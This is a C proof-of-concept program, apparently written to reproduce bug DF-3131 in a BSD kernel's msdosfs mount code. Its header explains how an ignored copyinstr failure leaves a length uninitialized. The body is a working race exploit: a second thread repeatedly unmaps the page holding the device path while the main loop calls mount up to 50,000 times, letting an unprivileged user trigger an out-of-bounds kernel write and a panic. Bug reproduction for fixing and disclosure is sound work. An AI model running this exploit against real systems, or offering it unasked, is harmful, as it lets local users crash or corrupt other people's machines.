/*
 * DF-3131: self-race the msdosfs_mount(2) copyinstr whose return value is
 * ignored (msdosfs_vfsops.c:281-282):
 *
 *	copyinstr(args.fspec, mp->mnt_stat.f_mntfromname, MNAMELEN-1, &size);
 *	memset(mp->mnt_stat.f_mntfromname + size, 0, MNAMELEN - size);
 *
 * args.fspec is validated by nlookup (:229) long before, and the whole
 * mountmsdosfs() device probing (vinvalbuf, bread of the boot sector,
 * FAT census) runs between the two user-memory reads, so a second thread
 * of the mounting process can munmap the page holding the string between
 * nlookup and the copyinstr at :281.  A faulting copyinstr leaves `size`
 * uninitialized (stack garbage) -> memset(f_mntfromname + garbage, 0,
 * MNAMELEN - garbage) writes out of bounds of the 80-byte field ->
 * kernel panic.
 *
 * The fspec string sits alone on a private MAP_ANON page; the racer
 * cycles munmap/mmap with short absence windows.  Mount attempts during
 * an absent window at nlookup fail cleanly EFAULT; an absent window that
 * instead covers :281 triggers the bug.
 *
 * Run with vfs.usermount=1 as an unprivileged user owning the vn device
 * and the mountpoint directory.
 *
 * usage: race_mount <device> <mountpoint>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/mount.h>

/* struct msdosfs_args, matching sys/vfs/msdosfs/msdosfsmount.h:226 */
struct export_args_local {
	int     ex_flags;               /* export user mount */
	uid_t   ex_root;                /* mapping for root uid */
	struct  xucred ex_anon;
	int     ex_addrtype;            /* export address type */
	char    *ex_addrs[2];
	int     ex_masklen;
	char    *ex_masks[2];
};
struct msdosfs_args_local {
	char   *fspec;
	struct export_args_local export;   /* ~ same size as struct export_args */
	uid_t  uid;
	gid_t  gid;
	mode_t mask;
	int    flags;
	char   cs_local[31];
	char   cs_disk[31];
	mode_t dirmask;
};

static char *pagebase;
static size_t pagesz;
static volatile int stop;
static long attempts, faults, okmounts;
static long hist[256];
static const char *devpath, *mntpath;

static void mapit(void)
{
	void *p = mmap(pagebase, pagesz, PROT_READ | PROT_WRITE,
		       MAP_ANON | MAP_FIXED | MAP_PRIVATE, -1, 0);
	if (p == MAP_FAILED) { perror("mmap"); exit(2); }
	memcpy(pagebase, devpath, strlen(devpath) + 1);
}

static void *unmapper(void *arg)
{
	(void)arg;
	while (!stop) {
		usleep(4000);                 /* page present most of the time */
		munmap(pagebase, pagesz);     /* brief absence */
		usleep(600);
		mapit();
	}
	return NULL;
}

int main(int argc, char **argv)
{
	pthread_t th;
	struct msdosfs_args_local args;

	if (argc != 3) {
		fprintf(stderr, "usage: race_mount <device> <mountpoint>\n");
		return 2;
	}
	devpath = argv[1];
	mntpath = argv[2];
	pagesz = 4096;
	pagebase = mmap(NULL, pagesz, PROT_READ | PROT_WRITE,
			MAP_ANON | MAP_PRIVATE, -1, 0);
	if (pagebase == MAP_FAILED) { perror("mmap base"); return 2; }
	memcpy(pagebase, devpath, strlen(devpath) + 1);

	printf("racing mount(%s -> %s) with self-munmap of the fspec page (uid %d)\n",
	       devpath, mntpath, getuid());
	fflush(stdout);
	pthread_create(&th, NULL, unmapper, NULL);

	while (attempts < 50000 && !stop) {
		attempts++;
		memset(&args, 0, sizeof(args));
		args.fspec = pagebase;
		args.uid = getuid();
		args.gid = getgid();
		args.mask = 0755;
		args.dirmask = 0755;
		if (mount("msdos", mntpath, 0, &args) == 0) {
			okmounts++;
			unmount(mntpath, 0);
		} else {
			int e = errno;
			if (e >= 0 && e < 256)
				hist[e]++;
		}
	}
	stop = 1;
	pthread_join(th, NULL);
	printf("SURVIVED: attempts=%ld clean_EFAULT=%ld ok_mounts=%ld\n",
	       attempts, faults, okmounts);
	{ int e; for (e = 0; e < 256; e++)
		if (hist[e]) printf("  errno %d (%s): %ld\n", e, strerror(e), hist[e]);
	}
	return 1;
}
